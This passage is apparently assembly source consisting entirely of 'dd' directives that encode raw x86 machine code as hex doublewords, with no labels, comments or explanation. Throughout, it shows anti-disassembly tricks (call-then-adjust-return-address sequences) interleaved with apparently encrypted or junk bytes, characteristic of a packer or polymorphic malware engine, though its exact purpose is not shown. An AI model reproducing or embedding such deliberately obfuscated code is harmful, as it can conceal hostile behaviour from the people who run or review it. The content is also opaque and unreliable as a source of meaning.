		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0FEA4954Bh
		dd 0F024854h, 68Ah, 51BD8900h, 6A06A634h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0B963C351h
		dd 8D317B62h, 6A62175h,	10E8h, 6E9D1000h, 0F00233Bh, 9DC425ACh
		dd 78947DFAh, 0E3816654h, 835F5F4Eh, 0A60BE9BDh, 850F0306h
		dd 45Ch, 5E8h, 113DE800h, 8166B7CBh, 5B250DD7h,	0B6A3BD83h
		dd 0F0006A9h, 43F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0FFBF0FC6h, 0B6A3B5FFh
		dd 6A06A9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0F97900C3h, 8B052BC1h, 0A61E459Dh, 0D58D8906h
		dd 0FF06A613h, 0A60C1D95h, 95BD8B06h, 8B06A632h, 0A9B697B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 2E874093h, 3369BD8Bh, 6C706A6h, 10001h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6AC35747h
		dd 8BF579B3h, 0A619B1BDh, 0DD8A9606h, 8B525050h, 5A310FFAh
		dd 6A9658h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 7AD49EC3h, 0A3B5FF7Fh, 6A06A9B6h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0B1BC352h, 0A62A55BDh, 0D195FF06h, 6A06A629h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8BE2C351h, 0A61A699Dh, 97B58B06h, 0F806A9B6h, 769858Bh
		dd 0D88B06A6h, 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 8DDB95C3h
		dd 867782F1h, 8D0F896Bh, 6, 869BD8Bh, 816606A6h, 8B7A40D7h
		dd 0A606AD95h, 0E1853106h, 2906A60Bh, 0A61A25B5h, 4C28306h
		dd 2981BD8Bh, 508906A6h, 75BF6620h, 6B858DFDh, 6A06A9CAh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0FC15C356h, 0B8868968h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0F347C352h, 59AD0CBDh, 6A9D069Fh, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0A2BDE184h
		dd 0C453DABFh, 59BD8B33h, 8B06A610h, 0A61249BDh, 0A3B5FF06h
		dd 6A06A9B6h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0FB8BC351h, 0C246E524h, 8B3FBFADh
		dd 0A61E699Dh, 6D95FF06h, 6606A606h, 5ADB81h, 8957B350h
		dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0CB8018C3h, 3DBD2B32h, 0FF06A62Ch, 0A9B6A3B5h
		dd 21BD0106h, 0FF06A605h, 0A60A1595h, 12E906h, 0A8940000h
		dd 8C2A1229h, 8071DD42h, 0D0CFCE9Ch, 0A841B74Bh, 30199D03h
		dd 0BD8306A6h, 6A62B29h, 65840F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0EE43C355h, 42D66AB7h, 198E0F4Fh, 0E9000000h, 14h, 48AA162h
		dd 89C96287h, 0FA65234Eh, 3BD50175h, 0B0E79F40h, 0FE8B6650h
		dd 6A243489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 2AADC355h, 0B6A3B5FFh,	6A06A9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 8964C7C3h, 8B66F2D3h, 5595FFFAh, 8B06A61Dh, 0A3B5FFF8h
		dd 8906A9B6h, 0A60AC99Dh, 0D995FF06h, 6A06A62Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 6A34C356h, 70B58835h, 0DE8DAh, 5A3E0000h, 30B5485Dh
		dd 44808933h, 312B8B5Ch, 0A6102595h, 0BD835B06h, 6A62CF5h
		dd 68840F02h, 8B000000h, 0A612559Dh, 41858B06h,	6A06A618h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 57D3C357h, 65CCDB81h, 0C65B771Bh,	6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 79C4C1C3h, 12E9h, 26E5200h, 0DC47DD90h, 0EE6D5AEEh
		dd 0B63847B9h, 0C77E6914h, 0A62ED185h, 6, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0F8D2F998h, 0FFF3A2E9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0A6CD3F69h
		dd 34338DDDh, 33958D01h, 0C18B06A6h, 144D9D8Bh,	858D06A6h
		dd 6A62CADh, 2F0BB66h, 0E9526090h, 0Fh,	3504701Fh, 0DC571382h
		dd 50AEAB1Eh, 594B0761h, 820F57h, 5E000000h, 0BB665061h
		dd 6A9009B1h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 442C355h, 0EAE8577Fh, 385A2BF0h
		dd 860F006Ah, 1, 6AFB8BF5h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0F77F642Dh
		dd 88670EAAh, 9D8BEC77h, 6A63251h, 0AD73BB66h, 6E84858Dh
		dd 0BB6606AAh, 0C0836F1Dh, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 9D89354Eh
		dd 6A605B5h, 11E990h, 88590000h, 0F140CD09h, 0A113A7Fh
		dd 0E8A1D0C5h, 509B9F84h, 6E8h,	28421900h, 66245165h, 5B5FE9BBh
		dd 51006A90h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 768758E9h, 8D9D8B42h, 8906A605h,	0A62ECDB5h
		dd 2B006A06h, 0A61CC99Dh, 60006A06h, 16CAE281h,	0BD892D8Fh
		dd 6A62D31h, 4595FF61h,	6A06A612h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 364CC355h
		dd 0D88B4AC1h, 94FF8D8Dh, 8E0F06A9h, 5,	0CF15B7BFh, 66D1FF1Bh
		dd 88D5EB81h, 1451BD83h, 0F0106A6h, 5385h, 6AD98B00h, 56006A02h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 2F8A088h, 0FFE3EBAAh, 19BD33CDh, 8B06A630h, 0A608F59Dh
		dd 0BB665006h, 4896B65h, 99D2324h, 0FF06A633h, 0A6066D95h
		dd 0DB816606h, 0BD33526Dh, 6A6108Dh, 0D92E9h, 0E800h, 815D0000h
		dd 0AA6E8EEDh, 0FBB70F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 6DC35545h, 4989BF66h,	864A858Dh, 606006A9h
		dd 81666160h, 6121F9D0h, 4895061h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 25C2DABh, 23605626h
		dd 0A6011DB5h, 7E906h, 0D2110000h, 1AFE7278h, 95896186h
		dd 6A62C81h, 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0A45C350h, 77038B1h
		dd 890673D0h, 0A607398Dh, 0BE906h, 0F6D60000h, 452B81D1h
		dd 0A4174325h, 258964F0h, 0
		dd 6860Fh, 0BD8B0000h, 6A61D85h, 85FFFD8Ah, 6A6126Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 83C35040h, 481247h
		dd 6AD9C2FAh, 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 99BD0B57h, 0E806A62Fh, 5,	53A1B12h
		dd 4D9D8976h, 5F06A60Ah, 1165B5FFh, 13E906A6h, 53000000h
		dd 0E8FFD898h, 723B6FC2h, 576B54CFh, 0E4DD47C4h, 95FF2F19h
		dd 6A6116Dh, 124E9h, 6E800h, 93100000h,	4074A9F3h, 5858951h
		dd 5F06A611h, 300B05Bh,	0A60709BDh, 8970E606h, 0A61D7195h
		dd 8B71E406h, 0A62ADD9Dh, 0F613C06h, 0F083h, 11858900h
		dd 0F06A61Bh, 11E9C8B6h, 7E000000h, 0C45F566Eh,	8ED8D18Fh
		dd 7625B61Bh, 0EB645950h, 0BA95C780h, 6, 7B1BD8Bh, 0EB8106A6h
		dd 32A09FA8h, 880FC18Bh, 3, 0C1DFB70Fh,	9D8B04E8h, 6A61D79h
		dd 1E2F766h, 0A62FE9B5h, 899D8B06h, 2B06A607h, 8FB660C8h
		dd 61F4EB80h, 0BD8BD18Bh, 6A630A1h, 6E9h, 19D8B00h, 8B06A62Bh
		dd 0A609C585h, 0C083F806h, 3860F07h, 80000000h,	0C0830CDBh
		dd 0F7816000h, 21A9BF92h, 10C98D89h, 3B6106A6h,	13830FD0h
		dd 0F000000h, 289h, 0E9FAB700h,	45h, 16759D89h,	8D8B06A6h
		dd 6A61115h, 83FB8B66h,	840F01E1h, 2Dh,	40D78166h, 15A58352h
		dd 0FE06A611h, 32ADBD8Bh, 958906A6h, 6A609C5h, 2D158509h
		dd 5E906A6h, 65000000h,	15B5A759h, 0E9h, 0AAB58D00h, 8B06A9F2h
		dd 6A006AFEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 641BC352h, 8B7A5A9Dh, 0A622899Dh
		dd 5995FF06h, 0BB06A629h, 1D88D78Fh, 86DB9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0B81B0864h, 0D995291Ch, 8306A614h, 6AFCE1h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0C81447C3h, 809F8395h, 258D29FAh, 0FC06A60Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 23C35040h, 0E5BD33DCh
		dd 0B806A618h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5CC35040h
		dd 929218DFh, 0D7E19ED4h, 0AADBD89h, 0D22B06A6h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 7AC35040h, 8D29F98Bh
		dd 6A61359h, 0D1C233ADh, 83D003E8h, 0F47504E9h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 2C35545h, 0B98C77A8h
		dd 10119D8Bh, 6A06A6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 982A66C3h, 0D242229h, 88h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 8AC35343h, 0AD958B4Ah
		dd 6A06A606h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 55ECC350h, 51BD29B7h, 8B06A61Bh
		dd 0A6040D8Dh, 0D59D2306h, 5006A62Eh, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 7D9D3358h, 8306A605h,	0A60FDDBDh
		dd 840F0006h, 52h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0F7C35343h, 89702A0Eh, 0A60DEDB5h, 0B87EB306h
		dd 0
		dd 68A0Fh, 8D890000h, 6A60A55h,	4F558D8Dh, 9D0906A6h, 6A625EDh
		dd 7E9E1FFh, 1D000000h,	93C79C47h, 0BD838158h, 6A60BE9h
		dd 52840F00h, 1000004h,	0A606A98Dh, 0E9BD8306h,	106A60Bh
		dd 45A840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 222757C3h, 6F953C02h, 0F78185D4h
		dd 50E9C529h, 0BE9BD83h, 0F0306A6h, 3ED86h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0AD381A9h, 891FA6DFh, 0A62B59B5h, 95096006h,	6A62DEDh
		dd 53D98C66h, 10E59D8Bh, 805F06A6h, 6A04E1h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0B70F50C3h
		dd 0FC90AFBh, 11C84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 1E8A6316h, 25CD8589h
		dd 9E906A6h, 0BF000000h, 153A0B7Ch, 1097B82Ch, 15DD858Bh
		dd 6A06A6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0B69C08C3h, 28D4D420h, 333F7317h,	0A6209D85h
		dd 0DE8B5006h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0F307C353h,	6AA5FDh
		dd 0EA2A3368h, 0DA8B664Fh, 0CC243481h, 0FF4FF529h, 0A60B3595h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 9D34BDABh, 0C9BF046Ah, 896F2AF5h, 0A9B6A385h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0CD07A97h, 1F7E976h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 8368AFC3h
		dd 0C321AF00h, 8D8953E0h, 6A62E51h, 9B858B5Fh, 8B06A9B6h
		dd 0A61E359Dh, 6E906h, 0F1EF0000h, 714B9ACCh, 1800C7h
		dd 9D890000h, 6A6157Dh,	0B69FB58Bh, 6A06A9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 66FC3CC3h
		dd 858BF88Bh, 6A62ED9h,	0BE9h, 97B26200h, 0F561AEAAh, 60A4C797h
		dd 6A0689h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0AF2A07C3h, 858B09ABh, 6A615DDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 25C35242h, 12D0C3Dh
		dd 0A6229D8Dh, 2880F06h, 0B7000000h, 446895Dh, 0B8C0Fh
		dd 890F0000h, 5, 5AA024BBh, 0E985290Ah,	5006A60Fh, 3489D88Bh
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0FABF0F1Ah, 7E9h, 59CC3E00h, 0EEBABC18h
		dd 0B69BB5FFh, 6A06A9h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0E9C702C3h, 0A9010129h, 0C82EBFFAh
		dd 13E91F6Fh, 2A000000h, 0B7659E30h, 5089632Bh,	7ACA0672h
		dd 0CF4EBD95h, 46681850h, 0F2CDEE4h, 128Dh, 0BE95300h
		dd 76000000h, 0CFC1993h, 9392ABC2h, 815FA075h, 0E7B92434h
		dd 6E82CC1h, 6C000000h,	73FFA96Ch, 870F87h, 5B000000h
		dd 0B6A3858Dh, 6A06A9h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8BE186C3h, 0A60AE19Dh, 4895006h
		dd 5BD0324h, 0FF06A60Ch, 0A60B3595h, 13E906h, 65230000h
		dd 0D50175FAh, 0E79F403Bh, 97F947B0h, 1DC2565Bh, 6A6147h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 729CA4C3h, 0C7615CFAh, 0A60BE985h, 306h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 6F1B2D58h, 6E4A787Ah, 0B70F2FAAh, 59D8BFFh, 8306A61Ah
		dd 0A9B6A3BDh, 840F0006h, 3Ah, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0BBC35040h,	65F4EBA5h, 0E93655A5h
		dd 2Dh,	6E8h, 0D1AF3000h, 898B6B78h, 0A61CA99Dh, 30505F06h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 9EB0854h, 8BA9E7FEh, 785EBFFEh, 89500B3Fh
		dd 0A619E19Dh, 0BD835B06h, 6A60BE9h, 0E2850F03h, 0F8000003h
		dd 76AEBB66h, 0B6A3BD83h, 0F0006A9h, 3D084h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0C381879Ch, 44C88555h, 91E38166h, 0A3B5FFDEh, 0F06A9B6h
		dd 82h,	1D95FF00h, 8006A60Ch, 0B58BAED3h, 6A9B697h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0DAC35747h, 0D31AAD7Fh
		dd 14E8D5h, 0BCEC0000h,	6B3FD78Eh, 5122E450h, 25ADE0EBh
		dd 0DAACCEFBh, 0BD8B2B42h, 6A6294Dh, 106C75Bh, 6A000100h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E9ABC355h, 10h, 54AF8D81h, 0F57F720Bh, 969871C5h
		dd 990151B8h, 5E996h, 58FE0000h, 50DF1882h, 96DF8B66h
		dd 0B5FFF88Bh, 6A9B6A3h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0F6C35646h, 8384CC9Bh, 0B589043Ch, 6A62EF5h
		dd 7E9h, 1A466D00h, 0A6BCC43Eh,	29D195FFh, 6A06A6h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8B334EC3h, 0A629F9BDh, 4CCF8006h, 10299D8Bh,	0B58B06A6h
		dd 6A9B697h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0FEC35343h, 858B8E78h, 6A60769h, 8D17BB66h, 0C48689h
		dd 8B600000h, 0A6000585h, 0AFCCB906h, 8B617295h, 0A606AD95h
		dd 83F88B06h, 0B6B304C2h, 6A205089h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 301EC353h
		dd 81664C62h, 8D17A8CFh, 0A9CA6B85h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 4AB4735Eh
		dd 8689A282h, 0B8h, 0CE9h, 0F7891000h, 6D4C84h,	36599269h
		dd 89006A34h, 0A63155BDh, 0A3B5FF06h, 6A06A9B6h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0B3DAC356h, 15641369h, 6D95FFF9h, 0F06A606h,	685h, 459D8B00h
		dd 5006A633h, 6A243489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 21B1C355h, 0F5536A2Dh
		dd 0A3B5FF5Bh, 0B306A9B6h, 1595FF01h, 6A06A60Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0F3AC356h, 68Ch, 0D99D8900h,	8306A613h, 0A62B29BDh
		dd 840F0006h, 5Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0F5C35545h, 5DA0D377h, 58A0FC6h, 66000000h
		dd 9A32F381h, 6CC0BF50h, 34892E8Fh, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 3FEA119Ah
		dd 0F18D484h, 0B5FFF9B7h
		dd 6A9B6A3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0C1C35343h, 3C34A57h, 5595FF3Ch, 6006A61Dh, 68F0FFCh
		dd 89000000h, 0A62C79BDh, 0B5FF6106h, 6A9B6A3h,	2EE5BD31h
		dd 95FF06A6h, 6A62AD9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 56C35747h, 0F5BD83A0h, 206A62Ch, 5D840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 4D4E0BC3h, 8166B68Eh, 8BFE3CDFh, 0A6184185h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0BF3C4C85h, 0B422D9F4h, 8B0000C6h, 0A61B75BDh
		dd 11BD8906h, 0C706A611h, 0A62ED185h, 6, 0F395E900h, 6AFFFFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 133D22C3h, 0BF663FF8h, 0C18BDCE2h, 8DD98B66h, 0A62CAD85h
		dd 502AB706h, 489DE8Bh,	57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0A19D897Ch, 6A06A621h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 4BEECFACh, 202C3D05h, 6A01AAh, 7E29858Dh
		dd 6A06AAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 5565E4C3h, 0BE876h, 0FD9A0000h, 64D10306h
		dd 0A91906E3h, 860F22h,	5F000000h, 1479BD29h, 9D8B06A6h
		dd 6A61B79h, 6005C083h,	6172B966h, 15318D8Bh, 906106A6h
		dd 2638BB66h, 90FD8A50h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 57C35343h, 5E7D54C9h,	0B70FFB31h, 6A006ADBh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 4FAAC352h, 0E78DC94Eh, 8924888Eh,	0A6105D8Dh
		dd 6A006A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0D27FC355h, 0A9B5B3E6h, 86D2DF96h
		dd 124595FFh, 6A06A6h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 2F7B02C3h, 7F303145h, 830F23h, 8D000000h
		dd 0A994FF8Dh, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 4E5F00D3h, 24027A59h
		dd 0DE59D8Bh, 8D8906A6h, 6A63149h, 0BD83D1FFh, 6A61451h
		dd 6A850F01h, 29000000h, 0A62BA185h, 6A026A06h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 1D83C355h, 0BC9867DEh, 16B0B03Ah, 90F9BF0Fh,	93C3BF66h
		dd 890F50h, 90000000h, 0FC5B589h, 0D88B06A6h, 66D95FFh
		dd 13E806A6h, 6B000000h, 0CDCCF251h, 221E95E5h,	6BB50593h
		dd 80F0F996h, 0BD8B2AE5h, 6A601DDh, 0E1AE95Bh, 0E80000h
		dd 5D000000h, 7E33ED81h, 6A06AAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 69DFF3C3h, 3114F187h
		dd 0A62D7185h, 6AF806h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 75415AC3h, 0D74EB5A6h, 864A858Dh
		dd 6A06A9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 845820C3h, 5090F98Bh, 4800Fh, 0BB660000h
		dd 6A9085CBh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0FFBEC350h, 35FF647Eh,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DEC35242h
		dd 7F712244h, 3FBF4FBAh, 64255193h, 2589h, 89F50000h, 0A615F185h
		dd 6D85FF06h, 8B06A612h, 0A61B6DBDh, 6AFF6A06h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0A692C356h, 0A2A99914h, 0A5F38173h, 0FF394EE2h, 0A62F1DB5h
		dd 0F7816606h, 95FF3A86h, 6A6116Dh, 132E9h, 13E96000h
		dd 1F000000h, 2F24B5D4h, 0F8BF9014h, 0F955B60Bh, 2B351FF5h
		dd 0B52915E9h, 6A61001h, 6600B061h, 590CC381h, 0FE8A70E6h
		dd 816671E4h, 3C255CC3h, 0F8830F61h, 66000000h,	482FCB81h
		dd 66C8B60Fh, 0BA183CBFh, 6, 8820Fh, 8B530000h,	0A612699Dh
		dd 0C18B5B06h, 8B04E8C1h, 0E2F766DAh, 2E49BD01h, 8E906A6h
		dd 91000000h, 531623h, 2BCC1CDFh, 0FBBF0FC8h, 9D89D18Bh
		dd 6A63219h, 6E9h, 0C9BD8B00h, 8B06A61Ah, 0A6312585h, 8C0F6006h
		dd 2, 81666160h, 614C46CEh, 0B307C083h,	68D0F09h, 9000000h
		dd 0A60E3D8Dh, 0C08306h, 42D8BF66h, 830FD03Bh, 17h, 68A0Fh
		dd 8D290000h, 6A609F9h,	5EE9h, 599D8B00h, 8B06A62Bh, 0A614C18Dh
		dd 7D9D3106h, 8306A622h, 840F01E1h, 43h, 0FBE2D2BFh, 0C1A58375h
		dd 0FE06A614h, 2AA5BD23h, 816006A6h, 0BCECF4DAh, 15958B42h
		dd 6106A61Ah, 31259589h, 13E906A6h, 0C5000000h,	0D30C1BACh
		dd 0CA9BE4E7h, 731876FDh, 68E8E54Eh, 0E9A142h, 8D000000h
		dd 0A9FCEDB5h, 35BD8B06h, 6A06A62Ch, 0FFC3B700h, 0A6295995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0C3FA63C6h, 0EB808B73h, 82EB903h, 0B5890000h
		dd 6A61F69h, 0FFCE183h,	689h, 49DB8100h, 0FC2D1AA2h, 0B8D98B66h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 87C35040h
		dd 0F2541841h, 8B48AF71h, 0A61E89BDh, 68CB8106h, 2B3A47C2h
		dd 6E8D2h, 72120000h, 0C11D6C40h, 6D9D8B50h, 5B06A61Dh
		dd 0C233AD5Fh, 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 53006A8Fh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 9983CF77h, 7563F7FEh, 11E9h, 6A5F3C00h
		dd 131A6DCEh, 4B9213EFh, 0BDD5BB69h, 880D700Eh,	81000000h
		dd 31E68ED7h, 0AD958B31h, 6A06A606h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 5589C352h
		dd 0A4EC67A2h, 609D39F7h, 0BD89D18Bh, 6A60AFDh,	0D8D8B61h
		dd 106A604h, 0A60D65B5h, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 6A1EC353h, 577B0A07h
		dd 7898F354h, 55006AF5h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 2C5908E2h, 0BD23667Ch, 6A6076Dh
		dd 0FDDBD83h, 0F0006A6h, 8F84h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0F06058Ah
		dd 28Eh, 0B8FFB700h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 77C35141h
		dd 0DDE58530h, 1355BD8Bh, 0BB6606A6h, 8D8DA525h, 6A64F55h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 5AC35040h
		dd 12AF5BBEh, 0FF435020h, 0AE9E1h, 96CE0000h, 6255C966h
		dd 9E657Fh, 0BE9BD83h, 0F0006A6h, 49484h, 0D9BF0F00h, 0BE9BD83h
		dd 0F0106A6h, 49F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0DA3CF9CAh, 4119589h
		dd 0BD8306A6h, 6A60BE9h, 37860F03h, 6A000004h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0F823C356h, 0DB4349AFh, 0BC7BF963h, 2638D381h, 0E86015CAh
		dd 12h,	9C56ED9Bh, 24A56AC4h, 92972A1Fh, 68E2F727h, 665B4DFCh
